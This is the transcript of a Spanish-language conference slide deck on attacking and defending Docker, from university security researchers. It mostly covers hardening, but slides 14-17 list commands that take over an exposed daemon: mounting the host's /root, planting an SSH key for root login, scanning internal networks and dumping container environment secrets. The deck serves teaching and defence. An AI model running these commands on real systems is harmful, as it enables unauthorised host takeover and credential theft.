Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Docker: atacar para defender

Docker: atacar para defender

Ileana Maricel Barrionuevo

August 12, 2020
Tweet

More Decks by Ileana Maricel Barrionuevo

Other Decks in Programming

Transcript

  1. Milagros Zea Cárdenas • Ingeniera en Sistemas de Información UTN

    FRC. • Desarrolladora de Software en Centro de Investigación, Desarrollo y Transferencia de la Universidad Tecnológica Nacional. • Integrante en proyectos de investigación de seguridad en el Laboratorio de Sistemas - UTN - FRC. • Docente en cátedra Programación de Aplicaciones Visuales I en la carrera de Ingeniería en Sistemas de Información UTN FRC. Linkedin: https://www.linkedin.com/in/milagros-zea-cárdenas-56212217/ Email: [email protected] 2
  2. Ileana Maricel Barrionuevo • Ingeniera en Sistemas de Información UTN

    FRC • Analista de seguridad - pentester en el Centro de Investigación, Desarrollo y Transferencia de la Universidad Tecnológica Nacional • Proyectos de investigación de seguridad en LabSis • Infraestructura - equipo de seguridad del Laboratorio de Sistemas • Docente en la cátedra de Fundamentos de Informática en la carrera de Ingeniería Civil UTN FRC. Linkedin: https://www.linkedin.com/in/ileana-maricel-barrionuevo/ Email: [email protected] 3
  3. Agenda - Contexto - Vulnerabilidades recientes - Docker containers: exposición

    del daemon - Docker registries: acceso remoto - Demos - Host vulnerable - Aplicación de métodos de defensa - Otras configuraciones recomendadas 4 4
  4. Docker Containers - Contenedores código y dependencias empaquetadas Virtualización del

    S.O. Procesos aislados - VM - Virtualización del hardware 5
  5. Vulnerabilidades recientes CRYPTOJACKING - Minado de monedas virtuales - Distribución

    del esfuerzo reduce la complejidad del proceso de minado - Entre el mayor n° de ordenadores posibles - Reducción del tiempo Obtención de criptomonedas 7
  6. Vulnerabilidades recientes CRYPTOJACKING - Graboid → propagación en Docker Engine

    - problema → no se inspecciona lo que sucede dentro de los containers Malware se descarga al ejecutar la imagen 8
  7. Vulnerabilidades recientes Analizado por MalwareHunterTeam Ataca puertos abiertos del daemon

    DDOS BOT Y CRYPTOMINER Crea un container Alpine con la bot y coinminer Extrae información sensible del host 10
  8. Vulnerabilidades recientes Host services para campañas de phishing Robo de

    credenciales y datos OTROS EJEMPLOS Ataques hacia la red interna Ataques con IP enmascaradas Botnets 11
  9. Docker containers: exposición del daemon Acceso remoto $ docker -H

    IP:puerto info $ docker -H IP:puerto ps $ docker -H IP:puerto inspect container_name $ docker -H IP:puerto exec -it container_name /bin/bash Chequeo de permisos en el FS - lectura - escritura 14
  10. Docker containers: exposición del daemon Acceso remoto al host $

    docker -H=IP:puerto run -itd -v /root:/root alpine /bin/sh $ ssh-keygen -t rsa $ echo “public_key” >> /root/.ssh/authorized_keys $ ssh -i priv_key root@IP Búsqueda de secrets - datos sensibles - etc 15
  11. Docker containers: exposición del daemon Escaneo de la red interna

    $ docker -H 192.168.0.2:2375 run --network=host --rm marsmensch/nmap 172.18.0.0-10 16
  12. Docker containers: exposición del daemon Data leaks $ docker -H

    192.168.0.2:2375 exec -i container_name env Se pueden visualizar algunas variables con inspect, pero no se verán aquellas que se pasaron como argumento a --env-file 17
  13. Demos - Host vulnerable docker y ufw Configuramos firewall $

    sudo ufw default deny incoming Vemos que al ir a http://IP:80 accedemos a la web 18 18
  14. Configuraciones recomendadas Exposición del daemon con tls: $ docker -H

    192.168.0.2:2376 --tls --tlscert=cliente/client-cert.pem --tlskey=cliente/client-key.pem ps 19
  15. Configuraciones recomendadas Deshabilitar la comunicación entre contenedores: En archivo daemon.json:

    { "icc": false } $ docker inspect 1 $ (contenedor 3) #ping <IP_contenedor_1> $ docker inspect 2 $ (contenedor 1) #ping <IP_contenedor_2> En docker-compose.yml: 20
  16. Configuraciones recomendadas Utilizar red definida por el usuario Por defecto

    está configurada bridge docker0. Utilizarla expone a ataques como MAC flooding o ARP spoofing. Local host address Rango 127.0.0.0/8 21
  17. Configuraciones recomendadas Sistema de archivos de container en sólo lectura:

    En docker-compose.yml: : En docker run: $ docker run -d --read-only --name c_redis_ro redis 22
  18. Configuraciones recomendadas Volúmenes de container en sólo lectura: En docker-compose.yml:

    En docker run: $ docker run -v /etc/group:/etc/group:ro debian 23
  19. Configuraciones recomendadas Limitar recursos de contenedores: $ docker run --rm

    --memory 50mb alpine free -m Evitar escalamiento de privilegios de contenedores: $ docker run -d --security-opt=no-new-privileges --name c_registry_2 registry 24
  20. Configuraciones recomendadas - Auditar: • Acceso a archivos • Syscalls

    • Comandos ejecutados por el usuario • Eventos de seguridad • Acceso a la red - El host debe ser orientado a containers para reducir superficie de ataque - Intrusion Prevention Systems - Filtrado de tráfico 25
  21. Configuraciones recomendadas $ docker -H 192.168.0.2:2375 run -it --net host

    --pid host --userns host --cap-add audit_control -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST -v /etc:/etc:ro -v /usr/bin/containerd:/usr/bin/containerd:ro -v /usr/bin/runc:/usr/bin/runc:ro -v /usr/lib/systemd:/usr/lib/systemd:ro -v /var/lib:/var/lib:ro -v /var/run/docker.sock:/var/run/docker.sock:ro --label docker_bench_security docker/docker-bench-security Escaneos de seguridad: Docker bench for Security 26
  22. Docker registries: acceso remoto Unit 42 research • 941 registries

    expuestos a internet • 117 registries sin autenticación • Distintos tipos de organizaciones • Más de 50 repositorios y 100 tags expuestas Any problem?? • Info histórica (código, tags) → exploits a medida • Push → reemplazo con backdoors, hosting malware • Delete → ransomware • Pull → múltiples clientes acceden y corren las imágenes de registries comprometidos 27
  23. Docker registries: acceso remoto 4) POST /v2/<repo>/blobs/uploads Chequeo PUSH -

    inicialización de subida - Respuesta 202 → location 32
  24. Configuraciones recomendadas - Utilización de TLS → Registry URL: https://registry.domain.com

    - Configuración de DNS, enrutamiento, firewall → permitir acceso a puerto 443 del host. - Controlar restricciones mediante firewall - Certificado obtenido de CA 1) $ mkdir -p certs → copiar domain.crt y domain.key allí 2) $ docker container stop registry 3) $ docker run -d --restart=always --name registry -v "$(pwd)"/certs:/certs -e REGISTRY_HTTP_ADDR=0.0.0.0:443 -e REGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key -p 443:443 registry:2 Montamos /certs en el container (/certs) 37
  25. Configuraciones recomendadas - Restricciones de acceso • Native basic auth

    → CON TLS 1) Crear archivo htpasswd: $ mkdir auth $ docker run --entrypoint htpasswd registry:2 -Bbn testuser testpassword > auth/htpasswd 2) Stop registry: $ docker container stop registry 3) Iniciar registry con basic auth: $ docker run -d -p 5000:5000 --restart=always --name registry -v "$(pwd)"/auth:/auth -e "REGISTRY_AUTH=htpasswd" -e "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd -v "$(pwd)"/certs:/certs -e REGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key registry:2 4) Login: $ docker login myregistrydomain.com:5000 → luego pull, push... 39
  26. Configuraciones recomendadas - Restricciones de acceso Section 3 of RFC

    6750: The OAuth 2.0 Authorization Framework: Bearer Token Usage GET /v2/ Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhb….... • Authorization Server 40
  27. Configuraciones recomendadas - Docker Content Trust → firmas digitales para

    información enviada y recibida de los Docker Registries • Verificación de firma client-side o runtime • Verifica tanto imagen como publisher • Firma asociada a la tag Deshabilitado por defecto en Docker Cli. 41
  28. Configuraciones recomendadas En la máquina vulnerable analizamos: $ docker -H=192.168.0.2:2375

    trust inspect wordpress:latest En el image consumer: $ export DOCKER_CONTENT_TRUST=1 push - build - create - pull - run 42
  29. Configuraciones recomendadas - Mantener Host y Docker actualizados - Escaneos

    de seguridad constantes (estático - dinámico) → imágenes - containers - Automatización es la clave - Docker Vault → para gestión de secrets - Linux Security Module - Logging “INFO” → $ docker-compose --log-level info up 43
  30. Fuentes consultadas • Docker Registry token authentication: https://docs.docker.com/registry/spec/auth/ • Docker

    Registry: deploying: https://docs.docker.com/registry/deploying/ • Docker TLS setup: https://www.labkey.org/Documentation/wiki-page.view?name=dockerTLS • Seguridad en Docker (Beatriz González): http://openaccess.uoc.edu/webapps/o2/bitstream/10609/81405/6/bgonzalezhTFM0618memoria.pdf • Unit 42 Leaked code from Docker Registries: https://unit42.paloaltonetworks.com/leaked-docker-code/ • Docker registry API v2: https://docs.docker.com/registry/spec/api/#pushing-an-image • Protecting the daemon socket: https://docs.docker.com/engine/security/https/ • Hundreds of Vulnerable Docker Hosts Exploited by Cryptocurrency Miners: https://www.imperva.com/blog/hundreds-of-vulnerable-docker-hosts-exploited-by-cryptocurrency-miners/ • Coinminer, DDoS Bot Attack Docker Daemon Ports: https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack- docker-daemon-ports • PSA: Beware of Exposing Ports in Docker: https://www.tripwire.com/state-of-security/devops/psa-beware-exposing-ports-docker/ • How containers work (Julia Evans) 45
  31. Fuentes consultadas • Docker Security Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html • Content

    Trust in Docker: https://docs.docker.com/engine/security/trust/content_trust/ • Vulnerabilidades en Contenedores https://medium.com/@everislatam/vulnerabilidades-en-contenedores-c59760176091 • Threat Modelling Docker: https://github.com/OWASP/Docker-Security/blob/master/001%20-%20Threats.md • Docker container security 101: https://www.stackrox.com/post/2019/09/docker-security-101/ • Docker Networking: common issues and troubleshooting techniques: https://es.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-tech niques 46